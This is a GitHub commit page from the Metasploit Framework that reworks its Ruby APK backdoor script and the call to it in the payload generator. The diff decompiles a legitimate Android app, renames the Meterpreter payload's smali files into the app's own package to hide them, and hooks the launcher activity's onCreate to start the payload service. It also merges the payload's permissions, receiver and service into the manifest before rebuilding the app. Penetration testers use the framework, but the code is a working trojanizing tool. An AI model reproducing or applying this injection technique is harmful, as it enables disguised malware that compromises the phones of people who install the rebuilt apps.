Skip to content

Commit e5ac3ed

Browse files
author
Brent Cook
committed
Land rapid7#7362, Fix apk injection script to include android payload service and broadcast receivers
2 parents 157740b + a39c496 commit e5ac3ed

File tree

2 files changed

+56
-64
lines changed

2 files changed

+56
-64
lines changed

lib/msf/core/payload/apk.rb

Lines changed: 55 additions & 63 deletions
Original file line numberDiff line numberDiff line change
@@ -8,14 +8,7 @@
88
require 'optparse'
99
require 'open3'
1010

11-
module Msf::Payload::Apk
12-
13-
class ApkBackdoor
14-
include Msf::Payload::Apk
15-
def backdoor_apk(apk, payload)
16-
backdoor_payload(apk, payload)
17-
end
18-
end
11+
class Msf::Payload::Apk
1912

2013
def print_status(msg='')
2114
$stderr.puts "[*] #{msg}"
@@ -65,62 +58,45 @@ def find_launcher_activity(amanifest)
6558
end
6659
end
6760

68-
def fix_manifest(tempdir)
69-
payload_permissions=[]
70-
71-
#Load payload's permissions
72-
File.open("#{tempdir}/payload/AndroidManifest.xml","rb"){|file|
73-
k=File.read(file)
74-
payload_manifest=Nokogiri::XML(k)
75-
permissions = payload_manifest.xpath("//manifest/uses-permission")
76-
for permission in permissions
77-
name=permission.attribute("name")
78-
payload_permissions << name.to_s
79-
end
80-
}
81-
82-
original_permissions=[]
83-
apk_mani=""
84-
85-
#Load original apk's permissions
86-
File.open("#{tempdir}/original/AndroidManifest.xml","rb"){|file2|
87-
k=File.read(file2)
88-
apk_mani=k
89-
original_manifest=Nokogiri::XML(k)
90-
permissions = original_manifest.xpath("//manifest/uses-permission")
91-
for permission in permissions
92-
name=permission.attribute("name")
93-
original_permissions << name.to_s
94-
end
61+
def parse_manifest(manifest_file)
62+
File.open(manifest_file, "rb"){|file|
63+
data = File.read(file)
64+
return Nokogiri::XML(data)
9565
}
66+
end
9667

97-
#Get permissions that are not in original APK
98-
add_permissions=[]
68+
def fix_manifest(tempdir)
69+
#Load payload's manifest
70+
payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
71+
payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
72+
73+
#Load original apk's manifest
74+
original_manifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
75+
original_permissions = original_manifest.xpath("//manifest/uses-permission")
76+
77+
manifest = original_manifest.xpath('/manifest')
78+
old_permissions = []
79+
for permission in original_permissions
80+
name = permission.attribute("name").to_s
81+
old_permissions << name
82+
end
9983
for permission in payload_permissions
100-
if !(original_permissions.include? permission)
101-
print_status("Adding #{permission}")
102-
add_permissions << permission
84+
name = permission.attribute("name").to_s
85+
unless old_permissions.include?(name)
86+
print_status("Adding #{name}")
87+
original_permissions.before(permission.to_xml)
10388
end
10489
end
10590

106-
inject=0
107-
new_mani=""
108-
#Inject permissions in original APK's manifest
109-
for line in apk_mani.split("\n")
110-
if (line.include? "uses-permission" and inject==0)
111-
for permission in add_permissions
112-
new_mani << '<uses-permission android:name="'+permission+'"/>'+"\n"
113-
end
114-
new_mani << line+"\n"
115-
inject=1
116-
else
117-
new_mani << line+"\n"
118-
end
119-
end
120-
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts new_mani }
91+
application = original_manifest.at_xpath('/manifest/application')
92+
application << payload_manifest.at_xpath('/manifest/application/receiver').to_xml
93+
application << payload_manifest.at_xpath('/manifest/application/service').to_xml
94+
95+
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts original_manifest.to_xml }
12196
end
12297

123-
def backdoor_payload(apkfile, raw_payload)
98+
def backdoor_apk(apkfile, raw_payload)
99+
124100
unless apkfile && File.readable?(apkfile)
125101
usage
126102
raise RuntimeError, "Invalid template: #{apkfile}"
@@ -168,9 +144,7 @@ def backdoor_payload(apkfile, raw_payload)
168144
print_status "Decompiling payload APK..\n"
169145
run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload")
170146

171-
f = File.open("#{tempdir}/original/AndroidManifest.xml")
172-
amanifest = Nokogiri::XML(f)
173-
f.close
147+
amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
174148

175149
print_status "Locating hook point..\n"
176150
launcheractivity = find_launcher_activity(amanifest)
@@ -194,15 +168,33 @@ def backdoor_payload(apkfile, raw_payload)
194168
raise RuntimeError, "Unable to find onCreate() in #{smalifile}\n"
195169
end
196170

197-
print_status "Copying payload files..\n"
198-
FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/")
199-
FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/"
171+
# Remove unused files
172+
FileUtils.rm "#{tempdir}/payload/smali/com/metasploit/stage/MainActivity.smali"
173+
FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali")
200174

201-
payloadhook = entrypoint + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V"
175+
package = amanifest.xpath("//manifest").first['package']
176+
package_slash = package.gsub(/\./, "/")
177+
print_status "Adding payload as package #{package}\n"
178+
payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
179+
payload_dir = "#{tempdir}/original/smali/#{package_slash}/"
180+
FileUtils.mkdir_p payload_dir
181+
182+
# Copy over the payload files, fixing up the smali code
183+
payload_files.each do |file_name|
184+
smali = File.read(file_name)
185+
newsmali = smali.gsub(/com\/metasploit\/stage/, package_slash)
186+
newfilename = "#{payload_dir}#{File.basename file_name}"
187+
File.open(newfilename, "wb") {|file| file.puts newsmali }
188+
end
189+
190+
payloadhook = entrypoint + %Q^
191+
invoke-static {p0}, L#{package_slash}/MainService;->startService(Landroid/content/Context;)V
192+
^
202193
hookedsmali = activitysmali.gsub(entrypoint, payloadhook)
203194

204195
print_status "Loading #{smalifile} and injecting payload..\n"
205196
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
197+
206198
injected_apk = "#{tempdir}/output.apk"
207199
aligned_apk = "#{tempdir}/aligned.apk"
208200
print_status "Poisoning the manifest with meterpreter permissions..\n"

lib/msf/core/payload_generator.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -320,7 +320,7 @@ def generate_payload
320320
gen_payload = raw_payload
321321
elsif payload.start_with? "android/" and not template.blank?
322322
cli_print "Using APK template: #{template}"
323-
apk_backdoor = ::Msf::Payload::Apk::ApkBackdoor::new()
323+
apk_backdoor = ::Msf::Payload::Apk.new
324324
raw_payload = apk_backdoor.backdoor_apk(template, generate_raw_payload)
325325
cli_print "Payload size: #{raw_payload.length} bytes"
326326
gen_payload = raw_payload

0 commit comments

Comments
 (0)